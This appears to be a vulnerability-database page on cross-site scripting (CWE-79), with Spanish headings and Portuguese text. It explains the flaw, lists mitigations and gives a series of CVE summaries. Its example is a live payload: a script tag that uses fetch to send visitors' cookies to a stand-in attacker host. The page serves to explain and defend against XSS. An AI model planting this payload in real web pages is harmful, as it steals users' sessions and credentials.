Fallos del tipo CWE-79

29.288 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-37781MEDIUMEmployee Record Management System v 1.2 is vulnerable to Cross Site Scripting (XSS) via editempprofile.php.EPSS 0.5%CVE-2023-44309CRITICALMultiple stored cross-site scripting (XSS) vulnerabilities in the fragment components in Liferay Portal 7.4.2 through 7.4.3.53, and Liferay EPSS 0.5%CVE-2023-22638MEDIUMSeveral improper neutralization of inputs during web page generation vulnerability [CWE-79] in FortiNAC 9.4.1 and below, 9.2.6 and below, 9EPSS 0.5%CVE-2025-22272LOWSelf Reflected XSS in CyberArk Endpoint Privilege ManagerEPSS 0.5%CVE-2022-2748LOWSourceCodester Simple Online Book Store System edit.php cross site scriptingEPSS 0.5%CVE-2022-46058MEDIUMAeroCMS v0.0.1 was discovered to contain a cross-site scripting (XSS) vulnerability via add_post.php. This vulnerability allows attackers toEPSS 0.5%CVE-2024-8714MEDIUMWordPress Affiliates Plugin — SliceWP Affiliates <= 1.1.20 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2026-34569CRITICALCI4MS: Blogs Categories Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.5%CVE-2023-44310CRITICALStored cross-site scripting (XSS) vulnerability in Page Tree menu Liferay Portal 7.3.6 through 7.4.3.78, and Liferay DXP 7.3 fix pack 1 throEPSS 0.5%CVE-2026-25640HIGHPydantic AI affected by Stored XSS via Path Traversal in Web UI CDN URLEPSS 0.5%CVE-2023-3122HIGHGD Mail Queue <= 3.9.3 - Unauthenticated Stored Cross-Site Scripting via EmailEPSS 0.5%CVE-2023-3088HIGHWP Mail Log <= 1.1.1 - Unauthenticated Stored Cross-Site Scripting via EmailEPSS 0.5%CVE-2022-2645LOWSourceCodester Garage Management System edituser.php cross site scriptingEPSS 0.5%CVE-2024-9204MEDIUMSmart Custom 404 Error Page <= 11.4.7 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2024-3677MEDIUMUltimate 410 Gone Status Code <= 1.1.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2021-40121MEDIUMCisco Identity Services Engine Cross-Site Scripting VulnerabilitiesEPSS 0.5%CVE-2024-2786MEDIUMHappy Addons for Elementor <= 3.10.4 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via title_tagEPSS 0.5%CVE-2024-10142MEDIUMcode-projects Blood Bank System viewrequest.php cross site scriptingEPSS 0.5%CVE-2024-3021MEDIUMMhr Post Ticker <= 1.1 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2026-86550MEDIUMUXSS vulnerability in ZTE browser productsEPSS 0.5%